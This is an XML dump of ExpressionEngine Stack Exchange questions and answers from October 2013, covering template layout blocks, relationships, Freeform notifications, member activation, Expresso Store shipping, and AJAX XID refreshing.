  <row Id="14638" PostTypeId="1" AcceptedAnswerId="14681" CreationDate="2013-10-16T14:01:22.570" Score="1" ViewCount="255" Body="&lt;p&gt;I've currently got a project on my plate where content is presented in blocks of a few different styles, for instance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A: Introduction area with large graphic, headline, and copy &lt;/li&gt;&#xA;&lt;li&gt;B: Carousel/slider with headline, slides, and copy &lt;/li&gt;&#xA;&lt;li&gt;C: Testimonial block with headline, photo, quote &lt;/li&gt;&#xA;&lt;li&gt;... and so on.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One page might might call for a layout combination of ABBCBA, another CBBA, and so on. There are a finite number of predetermined combinations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently planning on using &lt;a href=&quot;https://boldminded.com/add-ons/blueprints&quot; rel=&quot;nofollow&quot;&gt;Blueprints&lt;/a&gt; to select the template and manage the publish layouts; the vast majority of pages will live in a single channel. A page with an ABA layout (selected with Blueprints) would utilize the following fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pages Channel&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Block A1 - Headline (Text)&lt;/li&gt;&#xA;&lt;li&gt;Block A1 - Graphic (Assets)&lt;/li&gt;&#xA;&lt;li&gt;Block A1 - Copy (Wysiwyg)&lt;/li&gt;&#xA;&lt;li&gt;Block B1 - Headline (Text)&lt;/li&gt;&#xA;&lt;li&gt;Block B1 - Slides (Matrix)&lt;/li&gt;&#xA;&lt;li&gt;Block B1 - Copy (Wysiwyg)&lt;/li&gt;&#xA;&lt;li&gt;Block A2 - Headline (Text)&lt;/li&gt;&#xA;&lt;li&gt;Block A2 - Graphic (Assets)&lt;/li&gt;&#xA;&lt;li&gt;Block A2 - Copy (Wysiwyg)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For a page with an ABA layout, I could setup an ABA template, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed='blocks/block_a' headline='{block_a1_headline}' graphic='{block_a1_graphic}'}&#xA;{embed='blocks/block_b' headline='{block_b1_headline'}' ...}&#xA;{embed='blocks/block_a' headline='{block_a5_headline}' graphic='{block_a5_graphic}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've been paying enough attention to chattering within the community to know that including a huge pile of embeds like this is bad news for performance; I'm starting to wrap my head around Stash, but, I haven't seen any examples that appear to relate to the problem I'm trying to solve here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line: is there another approach that will work with less overhead, or, is this acceptable, assuming there's adequate caching in place to keep load times snappy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could I use a snippet for each block type, and somehow pass the different entry fields to them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not Playa with a channel for each block type? This site will have 150+ pages, each with several blocks that are unique to that page. Managing that many entries would be a huge hassle for content editors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not Content Elements + Mason? We're concerned about multi-lingual and workflow compatibility with Publisher, and possible issues with search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your help, suggestions, and feedback will be greatly appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2013-10-16T16:26:05.243" LastActivityDate="2013-10-17T19:32:45.323" Title="Repeating layout blocks within and across pages without a bunch of embeds?" Tags="|embeds|dry|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14639" PostTypeId="2" ParentId="14638" CreationDate="2013-10-16T14:11:09.090" Score="1" Body="&lt;p&gt;I would recommend using Stash to do this. I know it takes some getting used to but this is a perfect use case for Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also give Content Elements a shot here or use playa and three or more channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Playa channel A1, B1, C1, etc. would be your content channels. They would store your content blocks so A1 might contain your carousel images and captions fields while B1 might contain just your intro paragraphs. Then you would create a channel with a playa field that would let you relate channels A1, B1, C1, etc. and order entries as you want them presented on the page. The new relationships feature in EE2.7+ might also work here but I've found so far that when you need to do something just a little more complex than simple many to many relationships you need Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dvt.ee/ctntelemnt&quot; rel=&quot;nofollow&quot;&gt;Content Elements&lt;/a&gt; does something similar and with its ability to use other fieldtype add-ons it might fit your need perfectly. It lets users create a block of content from a preset list of content types and drag/drop them to reorder as they see fit.&lt;/p&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2013-10-16T15:08:07.483" LastActivityDate="2013-10-16T15:08:07.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14640" PostTypeId="2" ParentId="14638" CreationDate="2013-10-16T14:51:13.980" Score="1" Body="&lt;p&gt;Mike Boyink has a great write-up on how to achieve something like this using Pixel &amp;amp; Tonic's Playa (which you might be able to do with EE's native Grid fieldtype now). I've used it on several sites myself and found it to be super flexible and useful for the specific situation you're describing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials/comments/flexible-sidebars-using-playa&quot; rel=&quot;nofollow&quot;&gt;http://www.train-ee.com/courseware/free-tutorials/comments/flexible-sidebars-using-playa&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's sample code available for download with Mike's article that can help get you up and running quickly (his tutorials are great).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend using &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; to iterate through your Playa field output. This will help keep your query count down and load times reasonable. The template code would look something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cf_playa_field}&#xA;    {exp:switchee variable=&quot;{channel_short_name}&quot; parse=&quot;inward&quot;}&#xA;&#xA;        {case value=&quot;layout_block_a&quot;}&#xA;            [ Layout Block A Output] &#xA;        {/case}&#xA;&#xA;        {case value=&quot;layout_block_b&quot;}&#xA;            [ Layout Block B Output]    &#xA;        {/case}&#xA;&#xA;        {case value=&quot;layout_block_z&quot;}&#xA;            [ Layout Block Z Output]   &#xA;        {/case}&#xA;&#xA;    {/exp:switchee}&#xA;{/cf_playa_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="263" LastActivityDate="2013-10-16T14:51:13.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14641" PostTypeId="1" AcceptedAnswerId="14903" CreationDate="2013-10-16T15:28:30.353" Score="1" ViewCount="791" Body="&lt;p&gt;I am using the example Relationships code which works but what I would like to do instead of showing the names of the Pizza shops is just show how many shops the Pizza is available at.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pizzas&quot;}&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;{description}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{ingredients}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Where can I find this pizza?&amp;lt;/h3&amp;gt;&#xA;    {parents field=&quot;specialty_pizzas&quot;}&#xA;            &amp;lt;strong&amp;gt;{parents:title}&amp;lt;/strong&amp;gt;: &amp;lt;br /&amp;gt;&#xA;            {parents:phone} &amp;lt;br /&amp;gt;&#xA;            &amp;lt;p&amp;gt;{parents:address}&amp;lt;/p&amp;gt;&#xA;    {/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this, but it does not appear to work, any hints?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pizzas&quot;}&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;{description}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{ingredients}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;h3&amp;gt;How many restaurants serve this pizza?&amp;lt;/h3&amp;gt;&#xA;    {parents field=&quot;specialty_pizzas&quot;}&#xA;            {parents:speciality_pizzas:total_results}&#xA;    {/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2013-10-23T19:31:31.803" Title="Counting the number of Parents related to a child entry" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14642" PostTypeId="1" AcceptedAnswerId="14799" CreationDate="2013-10-16T15:48:53.950" Score="1" ViewCount="241" Body="&lt;p&gt;I'm using Freeform on my website for new requests from members only. I want to create a custom notification of these requests and show member-data (custom fields they provide during registration) in these notifications. Therefore I've created a new custom notification as followed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Someone has filled out form: Request&#xA;{all_form_fields}&#xA;  {field_label}: {field_data}&#xA;{/all_form_fields}&#xA;&#xA;{exp:member:custom_profile_data member_id=&quot;{user_entry_id}&quot;}&#xA;  Company: {company_name}&#xA;  Address: {address}&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{user_entry_id}&lt;/code&gt; variable is a hidden field in my form which is populated by the member_id. This value gets passed on correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that {user_entry_id} isn't parsed and the company &amp;amp; address data fields are empty. When I insert a member_id manually it does work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data member_id=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, that part should be dynamic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2013-10-21T15:06:10.450" Title="Freeform notification: Get member data" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14643" PostTypeId="2" ParentId="14526" CreationDate="2013-10-16T15:54:03.493" Score="0" Body="&lt;p&gt;I've had similar issues; after discussion with our sys-admin, we determined that if you need anything on a site served with SSL (like a login page), you probably want the entire site served with SSL. Assuming everything you're serving on the front-end can be downloaded of HTTPS, that shouldn't be an issue. It adds some overhead, but, it's trivial, and doing so will prevent a few different attack vectors that you otherwise leave open when not securing the entire site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, turn on SSL for the whole site if you can. If that's not an option, I can throw a few minutes at your .htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-10-16T15:54:03.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14644" PostTypeId="1" CreationDate="2013-10-16T16:23:00.053" Score="1" ViewCount="145" Body="&lt;p&gt;I'm using &lt;a href=&quot;https://github.com/expressodev/freemember/blob/master/docs/register_tag.md&quot; rel=&quot;nofollow&quot;&gt;Freemember&lt;/a&gt; plugin to manage member forms. I just setup a registration form and tried both activation methods, &quot;self activation via email&quot; and &quot;manual activation by administrator&quot;. But a registrant can log in immediately and they never appear under &quot;pending members&quot; in the CP. Any ideas why they are being activated immediately? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-10-16T19:20:14.313" Title="New member registration set to require activation, but new registrants are working without it" Tags="|members|freemember|registration|register|activation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14647" PostTypeId="2" ParentId="14624" CreationDate="2013-10-16T18:23:08.950" Score="2" Body="&lt;p&gt;You can upload an avatar images during registration with {exp:user:register} by using a &lt;strong&gt;file&lt;/strong&gt; field with a &lt;code&gt;name=&quot;&quot;&lt;/code&gt; of &lt;code&gt;avatar_filename&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;input type=&quot;file&quot; name=&quot;avatar_filename&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However in general (not just with Solspace User but any form), uploading a file using AJAX may require a special javascript/jQuery plugin, such as &lt;a href=&quot;http://www.phpletter.com/Our-Projects/AjaxFileUpload/&quot; rel=&quot;nofollow&quot;&gt;AjaxFileUpload&lt;/a&gt;. Simply using .serialize() might not be enough: files are handled differently than simple form fields.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-16T18:23:08.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14648" PostTypeId="2" ParentId="14630" CreationDate="2013-10-16T18:29:55.900" Score="1" Body="&lt;p&gt;Importing into Solspace Calendar can be done putting a URL pointing to an .ics file in the &lt;strong&gt;URL to iCalendar (.ics) file&lt;/strong&gt; custom field in the &lt;strong&gt;Calendar: Calendars&lt;/strong&gt; channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do is create an .ics file output in a regular EE template using {exp:channel:entries}. Then save this output as an .ics file and use it to import into Calendar as mentioned above.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-16T18:29:55.900" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14649" PostTypeId="1" AcceptedAnswerId="14650" CreationDate="2013-10-16T18:52:27.910" Score="0" ViewCount="49" Body="&lt;p&gt;So I had a post &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14265/ee-2-7-1-publish-layout-fields-disappearing&quot;&gt;here&lt;/a&gt;. I got the answer I needed and applied the fix, but I can't fix the existing fields from prior entries. Does anyone have a fix for this?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-10-16T18:59:27.330" Title="Restoring publish layouts after fixing the disappearing fields bug" Tags="|ee2|fields|publish-layout|bug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14650" PostTypeId="2" ParentId="14649" CreationDate="2013-10-16T18:59:27.330" Score="1" Body="&lt;p&gt;It appears that logging off, clearing the cache and logging back in did the trick. I just needed to rebuild the publish layouts after that. I don't know what I did different this time, but it's working now.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-16T18:59:27.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14651" PostTypeId="2" ParentId="14644" CreationDate="2013-10-16T19:20:14.313" Score="3" Body="&lt;p&gt;I had to remove the group_id=&quot;7&quot; from the freemember registration form tag. With it in there, the registrants never went to &quot;Pending&quot; first, they would be put into the member group with id of 7.&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-10-16T19:20:14.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14652" PostTypeId="1" AcceptedAnswerId="14655" CreationDate="2013-10-16T20:13:31.277" Score="2" ViewCount="205" Body="&lt;p&gt;I don't see the option to add the standard USPS, UPS and FedEx Shipping plugins when I add a new method.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LTi1d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension is enabled and the settings already in place. But {field:shipping_method} produces an empty drop-down on my checkout template &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eqPa2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2189" LastEditorUserId="2178" LastEditDate="2013-11-06T09:32:02.110" LastActivityDate="2014-02-17T19:18:38.473" Title="Exp:resso store shipping plugin doesn't show up" Tags="|expresso-store|plugin|shipping|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14653" PostTypeId="2" ParentId="14621" CreationDate="2013-10-16T20:32:51.160" Score="2" Body="&lt;p&gt;There is nothing built into Store that allows you to limit access to products to certain members. Having said that there are a few ways you can get around this. A while back I wrote a blog post about using &lt;a href=&quot;http://iamjustinlong.com/blog/single/simple_commerce_simple_invoicing_software/&quot; rel=&quot;nofollow&quot;&gt;Simple Commerce for creating invoices&lt;/a&gt;. While doing this with Store will be a bit different you might be able to apply some of the template logic or ideas into your setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) You will need to use an add-on to send the email to the client. You can use something like MX Notify or PostMaster to send the email when you submit the order (I would probably combine this with a status parameter so you can edit/draft the invoice before it is sent).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) You would again need to use an add-on to have a due date automatically sent. Personally I set the due dates manually but something like &lt;a href=&quot;http://devot-ee.com/add-ons/auto-expire&quot; rel=&quot;nofollow&quot;&gt;AutoExpire&lt;/a&gt; should do the trick, just remember to allow expired entries in your channel entries tags on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that said, there is not an out of the box solution that will allow you to do something like this, but it very doable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are still using Store v1 oppose to the newly released Store v2 you might be able to use &lt;a href=&quot;http://devot-ee.com/add-ons/store-quotations&quot; rel=&quot;nofollow&quot;&gt;Store: Quotations&lt;/a&gt; for your needs. I have never used it personally so I am not sure of all of it's features. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-16T20:32:51.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14654" PostTypeId="1" AcceptedAnswerId="14807" CreationDate="2013-10-16T20:36:10.437" Score="0" ViewCount="74" Body="&lt;p&gt;So I am building out a homepage that is going to have a infinite scroll of entries. Though there are entries that are apart of a parent entry, and I will be displaying the parent entries Title. And each child entry is a part of a week. And the week is a category set on each child entry, and the category will be visible. Below is an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent Entry Title&lt;br /&gt;&#xA;Week 1 - Entry 1 Entry 2 Entry 3 Entry 4 Entry 5&lt;br /&gt;&#xA;Week 2 - Entry 1 Entry 2 Entry 3 Entry 4 Entry 5&lt;br /&gt;&#xA;Parent Entry Title&lt;br /&gt;&#xA;Week 1 - Entry 1 Entry 2 Entry 3 Entry 4 Entry 5&lt;br /&gt;&#xA;Week 2 - Entry 1 Entry 2 Entry 3 Entry 4 Entry 5&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out the syntax for this so it can be displayed in an infinite scroll, but where it displays all entries while grouped. I have achieved it but it loops out the same thing 5 times.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;foo&quot; site=&quot;mainsite&quot;}&#xA;    {exp:playa:parents site=&quot;mainsite&quot;}&#xA;        {if title}&#xA;            {title}&#xA;        {/if}&#xA;        {exp:playa:children site=&quot;mainsite&quot; field=&quot;foo_entries&quot;}&#xA;            {title}&#xA;        {/exp:playa:children}&#xA;    {/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2013-10-21T17:31:14.503" Title="Grouping Entries in Infinite Scroll" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14655" PostTypeId="2" ParentId="14652" CreationDate="2013-10-16T21:12:25.253" Score="2" Body="&lt;p&gt;You will need to goto Add-ons &gt; Extbesions and enable the extension. The docs are a bit out of date at the moment but should be fixed soon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page from your screenshot is for the Default Shipping Module in Store v2. The new shipping structure will only show avilable methods based upon your shipping destinations and the customers address. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-16T21:12:25.253" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14656" PostTypeId="2" ParentId="14203" CreationDate="2013-10-16T21:48:09.307" Score="2" Body="&lt;p&gt;I would consider checking out the ExpressionEngine Whitepaper that Nexcess recently put out. It's a fairly in depth look at best practices for ExpressionEngine performance. Hope this helps. &lt;a href=&quot;http://www.nexcess.net/expressionengine-best-practices-whitepaper&quot; rel=&quot;nofollow&quot;&gt;http://www.nexcess.net/expressionengine-best-practices-whitepaper&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2201" LastActivityDate="2013-10-16T21:48:09.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14657" PostTypeId="2" ParentId="14554" CreationDate="2013-10-16T23:36:19.140" Score="2" Body="&lt;p&gt;So with some trickery here's how I managed to get it working, you'll need: Stash, GWcode Categories &amp;amp; Switchee&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URLS conform to either of these:&#xA;mysite.com/products/category/list-entires&#xA;mysite.com/products/category/sub-category/list-entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Create list of top level categories WITHOUT children --}&#xA;{exp:stash:set name=&quot;flag_categories_1&quot; save=&quot;yes&quot; replace=&quot;no&quot; parse_tags=&quot;yes&quot;}{exp:gwcode_categories channel=&quot;flags&quot; style=&quot;linear&quot; show_empty=&quot;yes&quot; depth=&quot;1&quot; last_only=&quot;yes&quot; backspace=&quot;1&quot;}{cat_url_title}|{/exp:gwcode_categories}{/exp:stash:set}&#xA;{!-- Create list of top level categories WITH CHILDREN --}&#xA;{exp:stash:set name=&quot;flag_categories_2&quot; save=&quot;yes&quot; replace=&quot;no&quot; parse_tags=&quot;yes&quot;}{exp:gwcode_categories channel=&quot;flags&quot; style=&quot;linear&quot; show_empty=&quot;yes&quot; depth=&quot;2&quot; backspace=&quot;1&quot;}{cat_url_title}|{/exp:gwcode_categories}{/exp:stash:set}&#xA;{!-- Crete list of Sub categories --}&#xA;{exp:stash:set name=&quot;has_child&quot; save=&quot;yes&quot; replace=&quot;no&quot; parse_tags=&quot;yes&quot; parse_condtionals=&quot;yes&quot; trim=&quot;yes&quot;}{exp:gwcode_categories channel=&quot;flags&quot; depth=&quot;2&quot; style=&quot;linear&quot; backspace=&quot;1&quot; show_empty=&quot;yes&quot;}{parent_url_title}|{/exp:gwcode_categories}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All that above does is record stashes for Categories with No children, Categories with Children and a list of child categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we  test segments, starting with the outermost (segment_3).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;{!-- Seg 3 is a child category - Show list of entries--}&#xA;        {case value=&quot;{stash:flag_categories_2}&quot;}&#xA;        …&#xA;        {/case}&#xA;{!--Seg3 not valid, Seg2 - not valid. Show root categories--}&#xA;    {case default=&quot;yes&quot;}&#xA;        {switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;        {case value=&quot;&quot;}&#xA;        …&#xA;        {/case} &#xA;{!-- Seg2 Category Has children, show child categories--}&#xA;        {case value=&quot;{stash:has_child}&quot;}&#xA;        …&#xA;        {/case}&#xA;{!-- Seg2 - valid category with NO children, show list of entries --}&#xA;        {case value=&quot;{stash:flag_categories_2}&quot; default=&quot;yes&quot;}&#xA;        …&#xA;        {/case}&#xA;        {/switchee}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this may help others trying to figure out something similar. Or chime in with your preferred method.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-10-16T23:36:19.140" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14658" PostTypeId="1" CreationDate="2013-10-17T04:38:47.047" Score="0" ViewCount="297" Body="&lt;p&gt;I use Solspace Calendars for booking of a conference room. Since we do not need to see past bookings, is it possible to hide all past entries so the calendar in month view is not so cluttered. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1699" LastActivityDate="2013-10-17T17:31:30.243" Title="How to hide events that is already past in Solspace Calendar" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14659" PostTypeId="1" CreationDate="2013-10-17T11:06:21.163" Score="0" ViewCount="325" Body="&lt;p&gt;I love the composer feature of FF Pro, but the problem I'm having is outputting custom markup for my form elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inputs and Textarea's are no problem. But when I come to outputting Checkboxes or Radios I can't figure out how to do my own custom markup. Is this even possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code to output the fields is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{composer:field_output}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But with Inputs I can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if composer:field_type == &quot;text&quot;}&#xA;    &amp;lt;span class=&quot;field&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;{composer:field_label}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;{composer:field_name}&quot;&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is perfect for text inputs, but there is no tags (which I can see) to output the Radio / Checkbox values, or even options inside a select menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also can't understand how to use the &quot;Composer Edit Form&quot;, and have values placed inside the value parameter... Without again... just getting FF to generate the markup for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I need to edit the markup, is to add ID's and Classes to the form fields.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-10-17T14:43:10.430" Title="Freeform Pro Composer - Checkboxes &amp; Values" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14660" PostTypeId="2" ParentId="13927" CreationDate="2013-10-17T11:15:56.813" Score="2" Body="&lt;p&gt;There is a patch here: &lt;a href=&quot;http://ellislab.com/asset/bug_patches/synchronize.zip&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/asset/bug_patches/synchronize.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(replace synchronize.js in themes/javascript/compressed/cp/files/ with the one in this file)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; apologies, just saw your comment. Will leave answer here for future Googlers...&lt;/p&gt;&#xA;" OwnerUserId="1396" LastActivityDate="2013-10-17T11:15:56.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14662" PostTypeId="2" ParentId="5978" CreationDate="2013-10-17T12:12:44.523" Score="3" Body="&lt;p&gt;In order to make this work with Store 2.0 / EE 2.7 you need to make an extra template with a form so a new XID is generated.&lt;br /&gt;&#xA;After the ajax request to the cart, make a new ajax request to the template with the form.&lt;br /&gt; &#xA;Get the xid from that template and update the xid on your orignal template &lt;/p&gt;&#xA;&#xA;&lt;p&gt;jquery / ajax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url = 'ajaxform'&#xA;$.get(url, function(returnData) {&#xA;    var newXID = $(returnData).find('input[name=&quot;XID&quot;]').val();&#xA;    $('input[name=&quot;XID&quot;]').val(newXID);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2013-10-17T12:12:44.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14663" PostTypeId="2" ParentId="5761" CreationDate="2013-10-17T12:27:24.137" Score="2" Body="&lt;p&gt;I extended a bit on Justin's submission, checking to ensure the reference was from within my own site. Eg. I didn't want to send people back to the Google search results page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_str:ing allow_eecode=&quot;yes|yes&quot; php}&#xA;    &amp;lt;?php &#xA;        $referrer = '{referrer}'; // using extension url_helper (http://devot-ee.com/add-ons/url-helper)&#xA;        $base_url = '{global:base_url}'; // site base path&#xA;&#xA;        if (strpos($referrer, $base_url) === 0) { // check if they start the same&#xA;            echo '&amp;lt;a href=&quot;{referrer}&quot;&amp;gt;Go back&amp;lt;/a&amp;gt;'; // add back link to page within site&#xA;        }&#xA;    ?&amp;gt;&#xA;{/exp:ce_str:ing}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2013-10-17T12:27:24.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14664" PostTypeId="1" CreationDate="2013-10-17T12:39:58.233" Score="3" ViewCount="68" Body="&lt;p&gt;Is it possible to update the SKU for products in Expresso Store? Is there something I am missing? Inputting a new value and hitting submit on an entry isn’t saving the new value… HALP!&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-10-29T02:45:31.417" Title="Update Expresso Store SKU" Tags="|expresso-store|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
